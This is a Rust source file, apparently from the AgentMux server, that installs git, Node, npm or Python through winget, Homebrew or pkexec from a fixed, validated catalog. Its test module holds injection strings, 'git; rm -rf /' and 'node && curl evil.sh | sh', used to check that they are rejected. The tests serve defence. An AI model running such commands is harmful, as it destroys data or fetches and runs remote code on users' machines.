Skip to main content

agentmux_srv/server/
system_install_handlers.rs

1// Copyright 2026, AgentMux Corp.
2// SPDX-License-Identifier: Apache-2.0
3
4//! `toolchain.resolve_install_command` / `toolchain.install_system_tool` —
5//! one-click install of git/Node/npm/Python through the platform's own
6//! package manager, streamed via the exact same `install_chunk` wire
7//! shape `install.start` already uses.
8//!
9//! SPEC_SYSTEM_TOOLCHAIN_INSTALLER_2026_08_24.md. This is that spec's
10//! Phase 1+2 (Linux + macOS + Windows) — NOT its deferred Phase 3
11//! (bootstrapping a MISSING package manager itself: installing Homebrew
12//! from scratch, or guiding a pre-App-Installer Windows through updating
13//! it). If `brew`/`winget` aren't present, `resolve_install_step` simply
14//! returns `None` and the caller falls back to the existing link+copy-
15//! command UI — this module never tries to install the package manager.
16//!
17//! **The security-critical invariant of this whole module:** every
18//! command this module can ever run comes from the fixed, hardcoded
19//! catalog in `resolve_install_step` below, addressed only by a `tool_id`
20//! validated against `is_safe_tool_id`. The RPC boundary never accepts a
21//! package name, a raw command, or anything else that could reach a
22//! `Command`'s argv from client input. Every entry is a `Vec<String>`
23//! passed straight to `Command::new(program).args(args)` — never a shell
24//! string through `sh -c`/`cmd /c` — so there is no interpolation surface
25//! even though nothing in this table is user-suppliable today.
26
27#[cfg(windows)]
28use agentmux_common::win32::NoWindow;
29use std::sync::Arc;
30
31use serde::Deserialize;
32use serde_json::json;
33
34use crate::backend::rpc::engine::WshRpcEngine;
35use crate::backend::mps::Broker;
36use crate::server::install_handlers::{resolve_tool_path, InstallChunkEvent, InstallStream};
37use crate::server::AppState;
38
39pub const COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND: &str = "toolchain.resolve_install_command";
40pub const COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL: &str = "toolchain.install_system_tool";
41
42/// Tool ids feed straight into the catalog match in `resolve_install_step`
43/// — same shape constraint as `install_handlers::is_safe_provider_id`
44/// (short, alnum + `_`/`-`), kept as its own function rather than reused
45/// so this module's validation doesn't silently drift if that one's
46/// constraints ever change for provider-id-specific reasons.
47fn is_safe_tool_id(s: &str) -> bool {
48    !s.is_empty()
49        && s.len() <= 32
50        && s.chars().all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '-')
51}
52
53/// One resolved, ready-to-spawn install command. Never constructed from
54/// client input — always the output of `resolve_install_step`'s fixed
55/// catalog lookup.
56#[derive(Debug, Clone)]
57struct SystemInstallStep {
58    program: String,
59    args: Vec<String>,
60    /// Informs the consent-step copy the frontend shows before running
61    /// this ("This will show a Windows permission prompt" / "This will
62    /// ask for your password") — never used to skip or alter execution.
63    needs_elevation: bool,
64    /// Binary name to re-probe after a successful package-manager exit
65    /// (git/node/python's real executable — "npm" verifies via "node",
66    /// same bundled-together reasoning as `claim_key_for_tool`). A
67    /// package manager reporting success does NOT mean this process's
68    /// own PATH can see the new binary yet: on Windows especially,
69    /// winget/MSI installers update the registry-backed PATH, but a
70    /// long-running process (this srv) only re-reads its environment at
71    /// startup, not via the registry-change broadcast a newly-spawned
72    /// process would pick up. Verifying here lets the success message
73    /// tell the truth instead of silently declaring "installed" right
74    /// before the caller's own immediate re-probe shows "still not
75    /// found" — Codex P1, PR #2790.
76    verify_bin: String,
77    /// Version this exact command would install, queried live from the
78    /// package manager's own catalog at resolve time — never hardcoded.
79    /// A hardcoded "v24" here would repeat the exact staleness bug this
80    /// repo already hit once (Taskfile.yml's VERSION var pinned to a
81    /// specific `node@20` brew formula that outlived that major version
82    /// — see #2942). `None` when the query itself fails or isn't
83    /// implemented for this package manager (most Linux managers below);
84    /// the frontend falls back to unversioned copy in that case, never a
85    /// stale guess.
86    resolved_version: Option<String>,
87}
88
89/// Linux package managers this module knows how to drive, in detection
90/// priority order (first found on PATH wins — see `detect_linux_package_manager`).
91#[derive(Debug, Clone, Copy, PartialEq, Eq)]
92enum LinuxPackageManager {
93    AptGet,
94    Dnf,
95    Yum,
96    Pacman,
97    Zypper,
98    Apk,
99}
100
101impl LinuxPackageManager {
102    const ALL_IN_PRIORITY_ORDER: [LinuxPackageManager; 6] = [
103        LinuxPackageManager::AptGet,
104        LinuxPackageManager::Dnf,
105        LinuxPackageManager::Yum,
106        LinuxPackageManager::Pacman,
107        LinuxPackageManager::Zypper,
108        LinuxPackageManager::Apk,
109    ];
110
111    fn binary_name(&self) -> &'static str {
112        match self {
113            Self::AptGet => "apt-get",
114            Self::Dnf => "dnf",
115            Self::Yum => "yum",
116            Self::Pacman => "pacman",
117            Self::Zypper => "zypper",
118            Self::Apk => "apk",
119        }
120    }
121
122    /// Per-manager non-interactive install flags + the package list.
123    /// Each manager has genuinely different flag syntax — there is no
124    /// single "install -y <pkgs>" that works across all of them (pacman
125    /// uses `-S --noconfirm`, apk uses a bare `add`).
126    fn install_args(&self, packages: &[&str]) -> Vec<String> {
127        let mut args: Vec<String> = match self {
128            Self::AptGet | Self::Dnf | Self::Yum | Self::Zypper => {
129                vec!["install".to_string(), "-y".to_string()]
130            }
131            Self::Pacman => vec!["-S".to_string(), "--noconfirm".to_string()],
132            Self::Apk => vec!["add".to_string()],
133        };
134        args.extend(packages.iter().map(|s| s.to_string()));
135        args
136    }
137}
138
139/// Probe for a Linux system package manager on PATH, in priority order —
140/// first match wins (a system with both `apt-get` and an unrelated
141/// manually-installed tool named e.g. `dnf` should still prefer the
142/// native one). Every mainstream Linux distro ships with exactly one of
143/// these as part of the base OS — unlike Homebrew/winget, there is no
144/// "package manager itself might be missing" case to handle here.
145async fn detect_linux_package_manager() -> Option<LinuxPackageManager> {
146    for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
147        if resolve_tool_path(pm.binary_name()).await.is_some() {
148            return Some(pm);
149        }
150    }
151    None
152}
153
154/// Binary name to re-probe after a successful install (see
155/// `SystemInstallStep::verify_bin`'s doc comment). `"npm"` verifies via
156/// `"node"` (bundled together, same reasoning as `claim_key_for_tool`);
157/// `"python"`'s real executable name differs by platform.
158fn verify_bin_for_tool(tool_id: &str, windows: bool) -> Option<&'static str> {
159    match tool_id {
160        "git" => Some("git"),
161        "node" | "npm" => Some("node"),
162        "python" => Some(if windows { "python" } else { "python3" }),
163        _ => None,
164    }
165}
166
167/// Parses `winget show --id <id> -e`'s `Version:` line. Best-effort: any
168/// failure (winget missing/erroring, unexpected output format) returns
169/// `None` and the frontend falls back to unversioned copy — never a
170/// guess. Deliberately a separate call from the actual install, not a
171/// flag on it: `show` never mutates anything, so it's safe to run purely
172/// for display even before the user has consented to installing.
173async fn query_winget_version(winget_id: &str) -> Option<String> {
174    let mut c = tokio::process::Command::new("winget");
175    c.args(["show", "--id", winget_id, "-e"]);
176    #[cfg(windows)]
177    {
178        c.no_window();
179    }
180    let output = c.output().await.ok()?;
181    if !output.status.success() {
182        return None;
183    }
184    let stdout = String::from_utf8_lossy(&output.stdout);
185    stdout.lines().find_map(|line| {
186        line.strip_prefix("Version:").map(|v| v.trim().to_string())
187    })
188}
189
190// winget package identifiers — see https://github.com/microsoft/winget-pkgs.
191// `node`/`npm` share one identifier: npm ships bundled with Node, so there
192// is no separate winget package for it (mirrors the frontend catalog's
193// existing node/npm-both-resolve-to-node modeling). Its own function (not
194// inlined into `resolve_windows_step`) so `resolve_install_step` can look
195// up the same id to query a version from, without a second copy of this
196// match that could drift from the one that builds the actual install args.
197fn windows_winget_id(tool_id: &str) -> Option<&'static str> {
198    match tool_id {
199        "git" => Some("Git.Git"),
200        "node" | "npm" => Some("OpenJS.NodeJS.LTS"),
201        "python" => Some("Python.Python.3.12"),
202        _ => None,
203    }
204}
205
206fn resolve_windows_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
207    let winget_id = windows_winget_id(tool_id)?;
208    Some(SystemInstallStep {
209        program: "winget".to_string(),
210        args: vec![
211            "install".to_string(),
212            "--id".to_string(),
213            winget_id.to_string(),
214            "-e".to_string(),
215            "--silent".to_string(),
216            "--accept-package-agreements".to_string(),
217            "--accept-source-agreements".to_string(),
218        ],
219        // winget raises its own UAC prompt when a package's installer
220        // requires elevation (Git-for-Windows's and Node's MSI both do)
221        // — this process is never pre-elevated by AgentMux itself.
222        // SPEC_SYSTEM_TOOLCHAIN_INSTALLER_2026_08_24.md §3.1 flags that
223        // whether that prompt reliably attaches when winget is spawned
224        // from a non-console GUI-launched process is an open, real-
225        // hardware verification item, not yet confirmed.
226        needs_elevation: true,
227        verify_bin: verify_bin_for_tool(tool_id, true)?.to_string(),
228        resolved_version,
229    })
230}
231
232/// Parses `brew info --json=v2 <formula>`'s `versions.stable` field.
233/// Best-effort, same posture as `query_winget_version`.
234async fn query_brew_version(formula: &str) -> Option<String> {
235    let output = tokio::process::Command::new("brew")
236        .args(["info", "--json=v2", formula])
237        .output()
238        .await
239        .ok()?;
240    if !output.status.success() {
241        return None;
242    }
243    let parsed: serde_json::Value = serde_json::from_slice(&output.stdout).ok()?;
244    parsed
245        .get("formulae")?
246        .get(0)?
247        .get("versions")?
248        .get("stable")?
249        .as_str()
250        .map(|s| s.to_string())
251}
252
253/// Homebrew formula names — its own function for the same reason as
254/// `windows_winget_id` above: shared between the install-args builder and
255/// the version query, without a second copy that could drift.
256fn brew_formula(tool_id: &str) -> Option<&'static str> {
257    match tool_id {
258        "git" => Some("git"),
259        "node" | "npm" => Some("node"),
260        "python" => Some("python@3.12"),
261        _ => None,
262    }
263}
264
265/// Only reachable when `brew` is already on PATH (checked by the caller,
266/// `resolve_install_step`) — this module never bootstraps Homebrew itself.
267fn resolve_brew_step(tool_id: &str, resolved_version: Option<String>) -> Option<SystemInstallStep> {
268    let formula = brew_formula(tool_id)?;
269    Some(SystemInstallStep {
270        program: "brew".to_string(),
271        args: vec!["install".to_string(), formula.to_string()],
272        // Homebrew must not be run as root — this is the one platform
273        // with no elevation step to build at all.
274        needs_elevation: false,
275        verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
276        resolved_version,
277    })
278}
279
280/// Parses `apt-cache policy <pkg>`'s `Candidate:` line — the version apt
281/// would actually install right now. Scoped to apt only, deliberately:
282/// `dnf`/`pacman`/`zypper`/`apk` each have a genuinely different query
283/// command and output format (`dnf info`, `pacman -Si`, `zypper info`,
284/// `apk policy`/`apk info`), and implementing all five for a display-only
285/// version label isn't worth the surface area in one pass. Returns `None`
286/// for every other manager — the frontend falls back to unversioned copy,
287/// which is honest, not a stale guess pretending to be real.
288async fn query_apt_version(pkg: &str) -> Option<String> {
289    let output = tokio::process::Command::new("apt-cache")
290        .args(["policy", pkg])
291        .output()
292        .await
293        .ok()?;
294    if !output.status.success() {
295        return None;
296    }
297    let stdout = String::from_utf8_lossy(&output.stdout);
298    stdout.lines().find_map(|line| {
299        line.trim()
300            .strip_prefix("Candidate:")
301            .map(|v| v.trim().to_string())
302            .filter(|v| v != "(none)")
303    })
304}
305
306/// Primary package name to query a version for on apt specifically — the
307/// actual install still uses `resolve_linux_step`'s full, PM-aware package
308/// list below; this is only the one representative package worth asking
309/// apt "what version would you install" about for display purposes.
310fn apt_primary_package(tool_id: &str) -> Option<&'static str> {
311    match tool_id {
312        "git" => Some("git"),
313        "node" | "npm" => Some("nodejs"),
314        "python" => Some("python3"),
315        _ => None,
316    }
317}
318
319/// Elevated via `pkexec`, which raises the desktop's own native polkit
320/// authentication dialog — AgentMux never renders a password field or
321/// handles a credential itself. If no polkit agent is running (minimal
322/// window managers, some server-oriented desktops), `pkexec` fails fast
323/// with a clear, distinct error; the caller's existing link+copy-command
324/// fallback remains available regardless.
325///
326/// Package-name note (flagged, not "fixed" — SPEC §3.1): the Debian/
327/// Ubuntu (`apt-get`) `nodejs`/`npm` packages in the default repos are
328/// frequently well behind current Node LTS. A more correct install on
329/// `apt` systems specifically would go through the NodeSource setup
330/// script rather than the bare distro package; that's a real, open data
331/// decision for this catalog (bigger scope — a two-step fetch-then-run,
332/// not a plain package install) and is deliberately NOT implemented
333/// here. `dnf`/`pacman`/`zypper`/`apk`'s Node packages don't have the
334/// same well-known staleness reputation.
335fn resolve_linux_step(
336    tool_id: &str,
337    pm: LinuxPackageManager,
338    resolved_version: Option<String>,
339) -> Option<SystemInstallStep> {
340    let packages: &[&str] = match tool_id {
341        "git" => &["git"],
342        "node" | "npm" => &["nodejs", "npm"],
343        "python" => match pm {
344            LinuxPackageManager::AptGet => &["python3", "python3-pip", "python3-venv"],
345            LinuxPackageManager::Pacman => &["python", "python-pip"],
346            LinuxPackageManager::Apk => &["python3", "py3-pip"],
347            _ => &["python3", "python3-pip"],
348        },
349        _ => return None,
350    };
351    let mut args = vec![pm.binary_name().to_string()];
352    args.extend(pm.install_args(packages));
353    Some(SystemInstallStep {
354        program: "pkexec".to_string(),
355        args,
356        needs_elevation: true,
357        verify_bin: verify_bin_for_tool(tool_id, false)?.to_string(),
358        resolved_version,
359    })
360}
361
362/// The one entry point into the catalog — dispatches by compile-time
363/// platform, then (macOS/Linux) by what's actually detected on this
364/// machine. Returns `None` whenever nothing can be resolved (unknown
365/// tool id, or — macOS/Linux only — no usable package manager found);
366/// callers must treat `None` as "fall back to the existing link+copy-
367/// command UI," never as an error.
368/// Normalizes which claim slot a tool_id occupies in
369/// `InstallSessionRegistry.active_system_tools`. `"npm"` shares Node's
370/// slot on every platform (§3.5: they resolve to the exact same
371/// winget/brew/apt-family package transaction — installing Node already
372/// gets npm), so starting installs from both rows concurrently must not
373/// be allowed to both pass the claim check and race two installs of the
374/// same package (winget/msi lock errors, duplicate install prompts).
375/// Codex P2, PR #2790.
376fn claim_key_for_tool(tool_id: &str) -> &str {
377    if tool_id == "npm" { "node" } else { tool_id }
378}
379
380async fn resolve_install_step(tool_id: &str) -> Option<SystemInstallStep> {
381    if cfg!(windows) {
382        // Symmetric with the macOS/Linux branches below: confirm the
383        // package manager itself is actually present before resolving a
384        // command for it. Without this, a Windows machine lacking winget
385        // (rare, but real — pre-App-Installer Windows 10) would get
386        // `available: true` with a command that fails to spawn instead of
387        // gracefully falling back to the existing link+copy-command UI.
388        // reagent P1, PR #2790.
389        resolve_tool_path("winget").await?;
390        let resolved_version = match windows_winget_id(tool_id) {
391            Some(id) => query_winget_version(id).await,
392            None => None,
393        };
394        resolve_windows_step(tool_id, resolved_version)
395    } else if cfg!(target_os = "macos") {
396        resolve_tool_path("brew").await?;
397        let resolved_version = match brew_formula(tool_id) {
398            Some(formula) => query_brew_version(formula).await,
399            None => None,
400        };
401        resolve_brew_step(tool_id, resolved_version)
402    } else {
403        let pm = detect_linux_package_manager().await?;
404        // Same class of check as the Windows/winget and macOS/brew
405        // branches above: a package manager being present doesn't mean
406        // `pkexec` (this module's one elevation mechanism on Linux, §3.1)
407        // is too — minimal containers, some WSL distros, and server
408        // images without a desktop/polkit stack routinely have apt/dnf
409        // but no pkexec. Without this check, `available: true` would be
410        // reported with a command that fails to spawn instead of falling
411        // back to the link+copy-command UI. reagent P2, PR #2790.
412        resolve_tool_path("pkexec").await?;
413        let resolved_version = match (pm, apt_primary_package(tool_id)) {
414            (LinuxPackageManager::AptGet, Some(pkg)) => query_apt_version(pkg).await,
415            _ => None,
416        };
417        resolve_linux_step(tool_id, pm, resolved_version)
418    }
419}
420
421#[derive(Debug, Deserialize, ts_rs::TS)]
422#[ts(export, export_to = "../../../frontend/types/rpc/")]
423#[serde(rename_all = "camelCase")]
424struct ToolIdReq {
425    tool_id: String,
426}
427
428/// What `toolchain.resolve_install_command` answers. Untagged, so the JSON is
429/// the same two shapes the handler always sent, and ts-rs renders it as the
430/// `{ available: false } | { available: true, ... }` union the frontend narrows on.
431#[derive(Debug, serde::Serialize, ts_rs::TS)]
432#[ts(export, export_to = "../../../frontend/types/rpc/")]
433#[serde(untagged)]
434enum ResolveInstallCommandResult {
435    Unavailable(InstallCommandUnavailable),
436    Available(InstallCommandAvailable),
437}
438
439#[derive(Debug, serde::Serialize, ts_rs::TS)]
440#[ts(export, export_to = "../../../frontend/types/rpc/")]
441struct InstallCommandUnavailable {
442    #[ts(type = "false")]
443    available: bool,
444}
445
446#[derive(Debug, serde::Serialize, ts_rs::TS)]
447#[ts(export, export_to = "../../../frontend/types/rpc/")]
448#[serde(rename_all = "camelCase")]
449struct InstallCommandAvailable {
450    #[ts(type = "true")]
451    available: bool,
452    program: String,
453    args: Vec<String>,
454    needs_elevation: bool,
455    command_preview: String,
456    /// The version this command would install, queried from the package
457    /// manager's catalog; null when the query failed or isn't implemented.
458    resolved_version: Option<String>,
459}
460
461/// What `toolchain.install_system_tool` answers: the install session to follow.
462#[derive(Debug, serde::Serialize, ts_rs::TS)]
463#[ts(export, export_to = "../../../frontend/types/rpc/")]
464#[serde(rename_all = "camelCase")]
465struct InstallSystemToolResult {
466    session_id: String,
467}
468
469pub fn register_system_install_handlers(engine: &Arc<WshRpcEngine>, state: &AppState) {
470    engine.register_typed(COMMAND_TOOLCHAIN_RESOLVE_INSTALL_COMMAND, move |req: ToolIdReq, _ctx| {
471        async move {
472                if !is_safe_tool_id(&req.tool_id) {
473                    return Err(format!(
474                        "toolchain.resolve_install_command: invalid tool id {:?}",
475                        req.tool_id
476                    ));
477                }
478                Ok(match resolve_install_step(&req.tool_id).await {
479                    Some(step) => ResolveInstallCommandResult::Available(InstallCommandAvailable {
480                        available: true,
481                        command_preview: format!("{} {}", step.program, step.args.join(" ")),
482                        program: step.program,
483                        args: step.args,
484                        needs_elevation: step.needs_elevation,
485                        resolved_version: step.resolved_version,
486                    }),
487                    None => ResolveInstallCommandResult::Unavailable(InstallCommandUnavailable { available: false }),
488                })
489        }
490    });
491
492    let registry = state.install_sessions.clone();
493    let broker = state.broker.clone();
494    engine.register_typed(COMMAND_TOOLCHAIN_INSTALL_SYSTEM_TOOL, move |req: ToolIdReq, _ctx| {
495        let registry = registry.clone();
496        let broker = broker.clone();
497        async move {
498                if !is_safe_tool_id(&req.tool_id) {
499                    return Err(format!(
500                        "toolchain.install_system_tool: invalid tool id {:?}",
501                        req.tool_id
502                    ));
503                }
504                let step = resolve_install_step(&req.tool_id).await.ok_or_else(|| {
505                    format!(
506                        "toolchain.install_system_tool: no installable command resolved for {:?} on this platform",
507                        req.tool_id
508                    )
509                })?;
510                let claim_key = claim_key_for_tool(&req.tool_id).to_string();
511                if !registry.try_claim_system_tool(&claim_key) {
512                    return Err(format!(
513                        "toolchain.install_system_tool: {} is already being installed in another session",
514                        req.tool_id
515                    ));
516                }
517                let session_id = format!("sysinstall-{}", uuid::Uuid::new_v4());
518                tracing::info!(
519                    session_id = %session_id,
520                    tool_id = %req.tool_id,
521                    program = %step.program,
522                    args = ?step.args,
523                    "toolchain.install_system_tool"
524                );
525
526                let (cancel_tx, cancel_rx) = tokio::sync::oneshot::channel();
527                registry.insert(session_id.clone(), cancel_tx);
528
529                spawn_system_install_task(
530                    broker,
531                    registry,
532                    session_id.clone(),
533                    claim_key,
534                    step,
535                    cancel_rx,
536                );
537
538                Ok(InstallSystemToolResult { session_id })
539        }
540    });
541}
542
543fn spawn_system_install_task(
544    broker: Arc<Broker>,
545    registry: Arc<crate::server::install_handlers::InstallSessionRegistry>,
546    session_id: String,
547    // Already normalized via `claim_key_for_tool` by the caller — "npm"
548    // and "node" share this same key so a release here always matches
549    // whichever key was actually claimed.
550    claim_key: String,
551    step: SystemInstallStep,
552    mut cancel_rx: tokio::sync::oneshot::Receiver<()>,
553) {
554    tokio::spawn(async move {
555        use std::process::Stdio;
556        use tokio::io::{AsyncBufReadExt, BufReader};
557        use tokio::process::Command;
558
559        // Reuses the EXACT `install_chunk` wire shape `install.start`
560        // already emits (`sessionId`/`line`/`stream`, and a terminal
561        // `{op:"done", ok, error?}`) scoped `install:<sessionId>` — so
562        // the frontend's existing streaming-log subscription code needs
563        // no new event type to render this.
564        let scope = format!("install:{}", session_id);
565        let emit_line = |broker: &Broker, line: String, stream: InstallStream| {
566            broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_id, line, stream), vec![scope.clone()], 1024);
567        };
568        let emit_done = |broker: &Broker, ok: bool, error: Option<String>| {
569            broker.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::done(&session_id, ok, json!(error)), vec![scope.clone()], 1024);
570        };
571
572        emit_line(
573            &broker,
574            format!("$ {} {}", step.program, step.args.join(" ")),
575            InstallStream::Stdout,
576        );
577
578        let mut cmd = Command::new(&step.program);
579        // An arbitrary install program from a recipe step.
580        crate::backend::pane_env::sanitize_external_command(&mut cmd);
581        cmd.args(&step.args);
582        cmd.stdin(Stdio::null())
583            .stdout(Stdio::piped())
584            .stderr(Stdio::piped())
585            .kill_on_drop(true);
586        #[cfg(windows)]
587        {
588            cmd.no_window(); // CREATE_NO_WINDOW
589        }
590
591        let mut child = match cmd.spawn() {
592            Ok(c) => c,
593            Err(e) => {
594                emit_done(&broker, false, Some(format!("spawn {}: {e}", step.program)));
595                registry.drop_session(&session_id);
596                registry.release_system_tool(&claim_key);
597                return;
598            }
599        };
600
601        let stdout = child.stdout.take().expect("piped");
602        let stderr = child.stderr.take().expect("piped");
603
604        let broker_out = broker.clone();
605        let scope_out = scope.clone();
606        let session_out = session_id.clone();
607        let stdout_task = tokio::spawn(async move {
608            let mut lines = BufReader::new(stdout).lines();
609            while let Ok(Some(line)) = lines.next_line().await {
610                broker_out.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_out, line, InstallStream::Stdout), vec![scope_out.clone()], 1024);
611            }
612        });
613
614        let broker_err = broker.clone();
615        let scope_err = scope.clone();
616        let session_err = session_id.clone();
617        let stderr_task = tokio::spawn(async move {
618            let mut lines = BufReader::new(stderr).lines();
619            while let Ok(Some(line)) = lines.next_line().await {
620                broker_err.publish_event::<crate::backend::mps_events::InstallChunk>(&InstallChunkEvent::line(&session_err, line, InstallStream::Stderr), vec![scope_err.clone()], 1024);
621            }
622        });
623
624        tokio::select! {
625            wait = child.wait() => {
626                let _ = stdout_task.await;
627                let _ = stderr_task.await;
628                match wait {
629                    Ok(s) if s.success() => {
630                        // The package manager succeeding does NOT mean
631                        // THIS already-running process can see the new
632                        // binary yet — its own PATH was captured at
633                        // startup and isn't refreshed by a Windows
634                        // registry-change broadcast or a new login-shell
635                        // read. Re-probe with the same mechanism the
636                        // caller's post-install refresh will use, so a
637                        // stale-PATH case is explained here instead of
638                        // silently contradicting itself a moment later
639                        // when that refresh still reports "not found".
640                        // Codex P1, PR #2790.
641                        if resolve_tool_path(&step.verify_bin).await.is_none() {
642                            emit_line(
643                                &broker,
644                                format!(
645                                    "Note: {} finished successfully, but AgentMux's current session doesn't see \"{}\" yet — restart AgentMux to pick up the updated PATH.",
646                                    step.program, step.verify_bin
647                                ),
648                                InstallStream::Stdout,
649                            );
650                        }
651                        emit_done(&broker, true, None);
652                    }
653                    Ok(s) => emit_done(&broker, false, Some(format!("{} exited {:?}", step.program, s.code()))),
654                    Err(e) => emit_done(&broker, false, Some(format!("wait: {e}"))),
655                }
656            }
657            // Reachable only if a session dies via connection drop before
658            // the process starts producing output — the frontend never
659            // offers a Cancel button once this task has actually spawned
660            // the privileged command (SPEC §3.4: interrupting a package
661            // manager mid-transaction, e.g. mid-dpkg-unpack, can leave
662            // broken system state; that's a pre-existing risk of package
663            // managers in general, not one this UI should make easier to
664            // hit by offering a cancel button that implies it's safe).
665            _ = &mut cancel_rx => {
666                tracing::info!(session_id = %session_id, "toolchain.install_system_tool: cancel — killing child");
667                let _ = child.kill().await;
668                let _ = stdout_task.await;
669                let _ = stderr_task.await;
670                emit_done(&broker, false, Some("cancelled".into()));
671            }
672        }
673
674        registry.drop_session(&session_id);
675        registry.release_system_tool(&claim_key);
676    });
677}
678
679#[cfg(test)]
680mod tests {
681    use super::*;
682
683    #[test]
684    fn is_safe_tool_id_accepts_the_real_catalog_ids() {
685        for id in ["git", "node", "npm", "python"] {
686            assert!(is_safe_tool_id(id), "{id} should be accepted");
687        }
688    }
689
690    #[test]
691    fn is_safe_tool_id_rejects_shell_metacharacters_and_oversized_input() {
692        for id in ["git; rm -rf /", "node && curl evil.sh | sh", "", &"a".repeat(33), "../etc"] {
693            assert!(!is_safe_tool_id(id), "{id:?} should be rejected");
694        }
695    }
696
697    #[test]
698    fn resolve_windows_step_covers_the_catalog_and_rejects_unknown_ids() {
699        let git = resolve_windows_step("git", None).unwrap();
700        assert_eq!(git.program, "winget");
701        assert!(git.args.contains(&"Git.Git".to_string()));
702        assert!(git.needs_elevation);
703
704        // node and npm resolve to the SAME winget package — npm ships
705        // bundled with Node, there is no separate winget entry for it.
706        let node = resolve_windows_step("node", None).unwrap();
707        let npm = resolve_windows_step("npm", None).unwrap();
708        assert_eq!(node.args, npm.args);
709        assert!(node.args.contains(&"OpenJS.NodeJS.LTS".to_string()));
710
711        assert!(resolve_windows_step("python", None).is_some());
712        assert!(resolve_windows_step("docker", None).is_none());
713        assert!(resolve_windows_step("", None).is_none());
714    }
715
716    #[test]
717    fn resolve_windows_step_carries_the_resolved_version_through() {
718        let git = resolve_windows_step("git", Some("2.47.1".to_string())).unwrap();
719        assert_eq!(git.resolved_version.as_deref(), Some("2.47.1"));
720    }
721
722    #[test]
723    fn resolve_brew_step_covers_the_catalog_and_never_needs_elevation() {
724        for id in ["git", "node", "npm", "python"] {
725            let step = resolve_brew_step(id, None).unwrap();
726            assert_eq!(step.program, "brew");
727            assert!(!step.needs_elevation, "brew must never be modeled as needing elevation");
728        }
729        assert!(resolve_brew_step("docker", None).is_none());
730    }
731
732    #[test]
733    fn resolve_linux_step_uses_the_correct_flag_syntax_per_manager() {
734        let apt = resolve_linux_step("git", LinuxPackageManager::AptGet, None).unwrap();
735        assert_eq!(apt.program, "pkexec");
736        assert_eq!(apt.args, vec!["apt-get", "install", "-y", "git"]);
737
738        let pacman = resolve_linux_step("git", LinuxPackageManager::Pacman, None).unwrap();
739        assert_eq!(pacman.args, vec!["pacman", "-S", "--noconfirm", "git"]);
740
741        let apk = resolve_linux_step("node", LinuxPackageManager::Apk, None).unwrap();
742        assert_eq!(apk.args, vec!["apk", "add", "nodejs", "npm"]);
743
744        // python's package list is genuinely different per manager —
745        // not just a flag-syntax difference.
746        let python_pacman =
747            resolve_linux_step("python", LinuxPackageManager::Pacman, None).unwrap();
748        assert_eq!(python_pacman.args, vec!["pacman", "-S", "--noconfirm", "python", "python-pip"]);
749        let python_apt = resolve_linux_step("python", LinuxPackageManager::AptGet, None).unwrap();
750        assert_eq!(
751            python_apt.args,
752            vec!["apt-get", "install", "-y", "python3", "python3-pip", "python3-venv"]
753        );
754
755        assert!(resolve_linux_step("docker", LinuxPackageManager::AptGet, None).is_none());
756    }
757
758    #[test]
759    fn every_populated_catalog_entry_uses_a_plain_argv_never_a_shell_string() {
760        // Defense-in-depth check for the module's own stated invariant:
761        // no entry anywhere in the catalog should ever route through a
762        // shell interpreter — every program is the real binary, never
763        // "sh"/"bash"/"cmd"/"powershell" wrapping a formatted string.
764        let shells = ["sh", "bash", "cmd", "cmd.exe", "powershell", "powershell.exe"];
765        for id in ["git", "node", "npm", "python"] {
766            if let Some(s) = resolve_windows_step(id, None) {
767                assert!(!shells.contains(&s.program.as_str()));
768            }
769            if let Some(s) = resolve_brew_step(id, None) {
770                assert!(!shells.contains(&s.program.as_str()));
771            }
772            for pm in LinuxPackageManager::ALL_IN_PRIORITY_ORDER {
773                if let Some(s) = resolve_linux_step(id, pm, None) {
774                    assert!(!shells.contains(&s.program.as_str()));
775                    assert_eq!(s.program, "pkexec");
776                }
777            }
778        }
779    }
780}